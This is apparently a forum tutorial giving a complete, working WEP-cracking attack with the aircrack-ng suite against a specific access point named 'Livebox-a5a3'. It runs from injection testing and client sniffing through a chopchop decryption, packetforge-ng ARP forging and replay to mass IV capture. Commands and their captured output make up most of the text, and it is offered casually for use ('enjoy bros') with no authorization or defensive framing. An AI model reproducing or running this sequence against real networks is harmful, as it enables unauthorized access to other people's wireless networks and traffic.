this is not a step by step newb tut, so i don't explain in details all steps because you are intended to know that before use that tut....
1) WE SCAN FOR APS
we saw Livebox-a5a3 channel 10Code:bt ~ # iwlist scan lo Interface doesn't support scanning. eth0 Interface doesn't support scanning. eth1 Scan completed : Cell 01 - Address: 00:1A:6B:04:9E:2F ESSID:"Livebox-a5a3" Protocol:IEEE 802.11bg Mode:Master Channel:10 Encryption key:on Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 6 Mb/s; 9 Mb/s 11 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s 48 Mb/s; 54 Mb/s Quality=74/100 Signal level=-44 dBm Noise level=-60 dBm Extra: Last beacon: 48ms ago rausb0 Interface doesn't support scanning.
2) WE NOW PREPARE CARD FOR INJECTION
the last two commands are for rt73 only (it activate prism headers and injection)Code:ifconfig rausb0 up; iwconfig rausb0 mode monitor channel 10 rate 1M iwpriv rausb0 forceprism 1 iwpriv rausb0 rfmontx 1
3) WE NOW TEST INJECTION
we see that the higher rate for 100 % hit is 36M/SCode:bt ~ # aireplay-ng --test rausb0 -B Interface rausb0 -> driver: Unknown 23:43:35 rausb0 channel: 10 23:43:35 Trying broadcast probe requests... 23:43:35 Injection is working! 23:43:36 Found 1 AP 23:43:36 Trying directed probe requests... 23:43:36 00:1A:6B:04:9E:2F - channel: 10 - 'Livebox-a5a3' 23:43:37 Ping (min/avg/max): 3.208ms/28.342ms/51.995ms Power: 110.70 23:43:37 30/30: 100% 23:43:37 Trying directed probe requests for all bitrates... 23:43:37 00:1A:6B:04:9E:2F - channel: 10 - 'Livebox-a5a3' 23:43:38 Probing at 1.0 Mbps: 30/30: 100% 23:43:39 Probing at 2.0 Mbps: 30/30: 100% Couldn't set rate to 5.5MBit. (54.0MBit instead) 23:43:39 Probing at 6.0 Mbps: 29/30: 96% 23:43:40 Probing at 9.0 Mbps: 30/30: 100% 23:43:41 Probing at 11.0 Mbps: 30/30: 100% 23:43:42 Probing at 12.0 Mbps: 30/30: 100% 23:43:43 Probing at 18.0 Mbps: 30/30: 100% 23:43:43 Probing at 24.0 Mbps: 29/30: 96% 23:43:44 Probing at 36.0 Mbps: 30/30: 100% 23:43:45 Probing at 48.0 Mbps: 28/30: 93% 23:43:46 Probing at 54.0 Mbps: 23/30: 76%
so we set the rate of our card
4)WE NOW SNIFF FOR A CLIENTCode:iwconfig rausb0 rate 36M
now we haveCode:bt ~ # airodump-ng -c 10 --bssid 00:1A:6B:04:9E:2F rausb0 CH 10 ][ Elapsed: 20 s ][ 2007-08-04 23:47 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ES 00:1A:6B:04:9E:2F 109 100 197 109 0 10 54 WEP WEP L BSSID STATION PWR Rate Lost Packets Probes 00:1A:6B:04:9E:2F 00:1B:77:32:4E:EF 84 54-54 0 120
AP MAC : 00:1A:6B:04:9E:2F
CLIENT MAC : 00:1B:77:32:4E:EF
AP CHAN : 10
ESSID : Livebox-a5a3
5)WE NOW DO A CHOPCHOP FOR DCRYPT IPS
we limit packet size to 68(ARP Wireless)
now we got a decrypted packet.....we open it in tcpdumpCode:bt ~ # aireplay-ng --chopchop -m 68 -n 68 -h 00:1B:77:32:4E:EF -a 00:1A:6B:04:9E:2F rausb0 Interface rausb0 -> driver: Unknown The interface MAC (00:18:F8:A4:DE:B7) doesn't match the specified MAC (-h). ifconfig rausb0 hw ether 00:1B:77:32:4E:EF Read 129 packets... Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:1A:6B:04:9E:2F Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:1B:77:32:4E:EF 0x0000: 0841 2c00 001a 6b04 9e2f 001b 7732 4eef .A,...k../..w2N. 0x0010: ffff ffff ffff 4047 6078 b500 021a 39ee ......@G`x....9. 0x0020: 6d7d 8b79 765c 90b9 62a0 4db5 1135 b9a6 m}.yv\..b.M..5.. 0x0030: fb52 4682 4690 c506 8584 96e9 09a7 06fc .RF.F........... 0x0040: 8e0e 1f91 .... Use this packet ? y Saving chosen packet in replay_src-0804-235136.cap 23:51:46 Waiting for beacon frame (BSSID: 00:1A:6B:04:9E:2F) Offset 67 ( 0% done) | xor = 28 | pt = B9 | 20 frames written in 61ms Offset 66 ( 2% done) | xor = 3F | pt = 20 | 103 frames written in 309ms Offset 65 ( 5% done) | xor = D3 | pt = DD | 205 frames written in 615ms Offset 64 ( 8% done) | xor = 5B | pt = D5 | 103 frames written in 309ms Offset 63 (11% done) | xor = FD | pt = 01 | 100 frames written in 301ms Offset 62 (14% done) | xor = 07 | pt = 01 | 208 frames written in 624ms Offset 61 (17% done) | xor = 0F | pt = A8 | 205 frames written in 614ms Offset 60 (20% done) | xor = C9 | pt = C0 | 208 frames written in 624ms Offset 59 (23% done) | xor = E9 | pt = 00 | 100 frames written in 300ms Offset 58 (26% done) | xor = 96 | pt = 00 | 208 frames written in 623ms Offset 57 (29% done) | xor = 84 | pt = 00 | 309 frames written in 929ms Offset 56 (32% done) | xor = 85 | pt = 00 | 100 frames written in 300ms Offset 55 (35% done) | xor = 06 | pt = 00 | 208 frames written in 623ms Offset 54 (38% done) | xor = C5 | pt = 00 | 206 frames written in 618ms Offset 53 (41% done) | xor = 9C | pt = 0C | 103 frames written in 309ms Offset 52 (44% done) | xor = 47 | pt = 01 | 103 frames written in 309ms Offset 51 (47% done) | xor = 2A | pt = A8 | 207 frames written in 621ms Offset 50 (50% done) | xor = 86 | pt = C0 | 205 frames written in 615ms Offset 49 (52% done) | xor = BD | pt = EF | 103 frames written in 310ms Offset 48 (55% done) | xor = B5 | pt = 4E | 104 frames written in 310ms Offset 47 (58% done) | xor = 94 | pt = 32 | 100 frames written in 301ms Offset 46 (61% done) | xor = CE | pt = 77 | 309 frames written in 927ms Offset 45 (64% done) | xor = 2E | pt = 1B | 208 frames written in 625ms Offset 44 (67% done) | xor = 11 | pt = 00 | 310 frames written in 929ms Offset 43 (70% done) | xor = B4 | pt = 01 | 205 frames written in 615ms Offset 42 (73% done) | xor = 4D | pt = 00 | 103 frames written in 309ms Offset 41 (76% done) | xor = A4 | pt = 04 | 205 frames written in 614ms Offset 40 (79% done) | xor = 64 | pt = 06 | 103 frames written in 310ms Offset 39 (82% done) | xor = B9 | pt = 00 | 205 frames written in 615ms Offset 38 (85% done) | xor = 98 | pt = 08 | 313 frames written in 939ms Offset 37 (88% done) | xor = 5D | pt = 01 | 310 frames written in 929ms Offset 36 (91% done) | xor = 76 | pt = 00 | 100 frames written in 301ms Offset 35 (94% done) | xor = 7F | pt = 06 | 310 frames written in 930ms Offset 34 (97% done) | xor = 83 | pt = 08 | 206 frames written in 617ms Saving plaintext in replay_dec-0804-235205.cap Saving keystream in replay_dec-0804-235205.xor Completed in 18s (1.67 bytes/s)
now we get the client ip 192.168.1.12, it will be our destination adress for forging a new arp packetwe will use 10.255.255.255 for source adressCode:tcpdump -r replay_dec-0804-235205.cap reading from file replay_dec-0804-235205.cap, link-type IEEE802_11 (802.11) 23:52:05.775485 arp who-has 192.168.1.1 tell 192.168.1.12
6) FORGING SPECIAL ARP PACKET
7)REPLAY THIS PACKETCode:bt ~ # packetforge-ng -0 -a 00:1A:6B:04:9E:2F -h 00:1B:77:32:4E:EF -k 192.168.1.12 -l 10.255.255.255 -w arprequest -y replay_dec-0804-235205.xor Wrote packet to: arprequest
enjoy when you click yes your ivs flying....Code:konsole -e aireplay-ng --interactive -x 1024 -r arprequest rausb0 & konsole -e airodump-ng -c 10 --bssid 00:1A:6B:04:9E:2F -w arpampli rausb0
the results you will get grantly depends of distance to ap, pwr & rxq
it will be between 600 & 1200 (i achieve 1139)
1200 means enough iv to crack 128 key in 30 secs ......
enjoy bros....
hope you like it ...;
edited i just capture more than 1million ivs in less than 14 minutes , who say better ???






